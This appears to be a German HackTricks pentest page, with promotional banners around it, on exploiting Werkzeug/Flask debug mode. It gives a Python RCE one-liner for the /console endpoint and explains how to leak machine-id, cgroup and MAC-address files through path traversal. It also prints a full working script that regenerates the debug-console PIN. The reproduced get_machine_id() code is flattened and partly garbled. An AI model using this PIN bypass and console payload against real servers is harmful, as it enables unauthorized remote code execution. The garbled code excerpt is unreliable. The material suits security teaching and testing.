8.5 KiB
Werkzeug / Flask Debug
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
Console RCE
Wenn das Debuggen aktiv ist, könnten Sie versuchen, auf /console
zuzugreifen und RCE zu erlangen.
__import__('os').popen('whoami').read();
Es gibt auch mehrere Exploits im Internet wie dieser oder einer in Metasploit.
Pin Protected - Pfadtraversierung
In einigen Fällen ist der /console
Endpunkt durch eine PIN geschützt. Wenn Sie eine Dateitraversierungsanfälligkeit haben, können Sie alle notwendigen Informationen zum Generieren dieser PIN preisgeben.
Werkzeug Console PIN Exploit
Erzwingen Sie eine Debug-Fehlerseite in der App, um dies zu sehen:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Eine Nachricht bezüglich des Szenarios "Konsole gesperrt" wird beim Versuch, auf die Debug-Schnittstelle von Werkzeug zuzugreifen, angezeigt, was auf die Notwendigkeit einer PIN zur Entsperrung der Konsole hinweist. Es wird vorgeschlagen, die Konsole-PIN zu nutzen, indem der PIN-Generierungsalgorithmus in der Debug-Initialisierungsdatei von Werkzeug (__init__.py
) analysiert wird. Der PIN-Generierungsmechanismus kann aus dem Werkzeug-Quellcode-Repository studiert werden, obwohl empfohlen wird, den tatsächlichen Servercode aufgrund möglicher Versionsunterschiede über eine Dateitraversierbarkeitslücke zu beschaffen.
Um die Konsole-PIN auszunutzen, werden zwei Variablensätze, probably_public_bits
und private_bits
, benötigt:
probably_public_bits
username
: Verweist auf den Benutzer, der die Flask-Sitzung initiiert hat.modname
: Typischerweise alsflask.app
bezeichnet.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Löst in der Regel zu Flask auf.getattr(mod, '__file__', None)
: Stellt den vollständigen Pfad zuapp.py
im Flask-Verzeichnis dar (z. B./usr/local/lib/python3.5/dist-packages/flask/app.py
). Wennapp.py
nicht zutreffend ist, versuchen Sie es mitapp.pyc
.
private_bits
uuid.getnode()
: Ruft die MAC-Adresse des aktuellen Geräts ab, wobeistr(uuid.getnode())
diese in ein Dezimalformat übersetzt.- Um die MAC-Adresse des Servers zu bestimmen, muss die aktive Netzwerkschnittstelle identifiziert werden, die von der App verwendet wird (z. B.
ens3
). Bei Unsicherheit leaken Sie/proc/net/arp
, um die Geräte-ID zu finden, und extrahieren Sie dann die MAC-Adresse aus/sys/class/net/<Geräte-ID>/address
. - Die Umwandlung einer hexadezimalen MAC-Adresse in Dezimalzahlen kann wie folgt durchgeführt werden:
# Beispiel MAC-Adresse: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Verknüpft Daten aus/etc/machine-id
oder/proc/sys/kernel/random/boot_id
mit der ersten Zeile von/proc/self/cgroup
nach dem letzten Schrägstrich (/
).
Code für `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id
if _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Nachdem alle erforderlichen Daten gesammelt wurden, kann das Exploit-Skript ausgeführt werden, um die Werkzeug-Konsole-PIN zu generieren. Das Skript verwendet die zusammengestellten `probably_public_bits` und `private_bits`, um einen Hash zu erstellen, der dann weiterverarbeitet wird, um die endgültige PIN zu erzeugen. Im Folgenden finden Sie den Python-Code zur Ausführung dieses Prozesses:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Dieses Skript erzeugt die PIN, indem es die konkatenierten Bits hashiert, spezifische Salze (cookiesalt
und pinsalt
) hinzufügt und formatting the output. Es ist wichtig zu beachten, dass die tatsächlichen Werte für probably_public_bits
und private_bits
genau vom Zielsystem erhalten werden müssen, um sicherzustellen, dass die generierte PIN mit der von der Werkzeug-Konsole erwarteten übereinstimmt.
Wenn Sie eine alte Version von Werkzeug verwenden, versuchen Sie, den Hash-Algorithmus auf md5 anstelle von sha1 zu ändern.
Referenzen
Sofort einsatzbereite Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.